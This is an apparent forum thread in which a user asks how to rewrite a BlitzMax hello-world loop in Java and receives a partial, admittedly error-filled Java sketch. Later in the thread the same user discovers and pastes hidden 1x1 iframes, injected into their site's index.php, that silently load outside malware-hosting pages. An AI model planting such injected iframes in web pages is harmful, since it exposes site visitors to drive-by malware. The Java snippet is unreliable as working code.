I am trying to get my struddle around Java, I thought I knew OOP with Max but damn this stuff is hard to get a grip off. Everything must be a class?!?!

I just need a rosetta stone so I have a starting point, could any one write the java equivalent of the Max code below? That should give me the grounding I need.

Strict

'setup
Global HelloName:String = "Billy bob!"

' main loop
Repeat
	HelloWorld(HelloName)
Forever

'functions
Function HelloWorld(Name:String)
	
	Local Welcome1:String = "Welcome "
	Local Welcome2:String = ", how are you doing? The time now is "
	Local TheTime:Int = MilliSecs() ' this will do for time

	Print Welcome1+Name+Welcome2+TheTime
	
End Function

I've learned a bit of Java at university (theoretically, enough to land me a job), however my mind rejects it and my being hates it.

I can't say I remember enough to convert the code, but here's a start: you can't get away without a class. Your whole application must be inside a class. Something along the lines of:


class MyApp {

string HelloName;

void main()
{
   while(true) {
      HelloWorld(HelloName);
   }
}

void HelloName(string Name) {
   string welcome1 = "Welcome ";
   string welcome2 = ", how are you doing? Time now is "
   int TheTime = 0; //I have no idea how to do this
   
   system.something.WriteLine(welcome1+Name+welcome2+TheTime); //can't really remember all of it :(
}

}

Hope this gives you a head start :)

This should help you: http://download.oracle.com/javase/6/docs/api/

For the time, you'll want to look at the Time class, and for the printing, System.out. This reference has always served me well.

Hmmmm.... shouldn't "HelloName" be marked public and static or something? Otherwise surely it's a private (maybe that part's not important) instance field... For that matter, all your methods, fields and classes are expected to have public/private/protected specifiers.

I thought I knew OOP with Max but damn this stuff is hard to get a grip off. Everything must be a class?!?!

Believe it or not there are people in the world who don't believe Java is OO-enough.

Thanks all, _JIM that gives me a good base, why cannot everything be as easy as MAX :p still BMX2 should be good fun. For now I'll play with java.

@coffeedotbean

Something on your web site is being detected as suspicious/malware by Avast. Might be worth checking.

_JIM	(Posted 2010) [#7]

Google Chrome reports this as being the culprit: http://web-traffic.cz.cc/show.php

Probably a website counter or something.

It may very well be something harmless. But Avast is very popular and some of the people visiting the site to buy games are bound to be put off.

Thanks for the heads up, i'll check it out when I get home.

Only seems to be the index.php page showing this so might of been infected... quite scary.

Some how this code

<html><body>
<iframe src="http://teleam.com/tds/main.php?site=1" width="1" height="1" style="display:none;"></iframe>
<iframe src="http://web-traffic.cz.cc/show.php?s=6614575c09" width="1" height="1" style="display:none;"></iframe>
<iframe src="http://web-traffic.cz.cc/show.php" width="1" height="1" style="display:none;"></iframe>
</body></html>

got appended to the bottom of my index.php file?!!? file was modified September 28th.

I am not too up on website hacking but other then through my username.password how else can a website be hacked? want to avoid this in the future for sure.

Thanks again for the heads up guys.
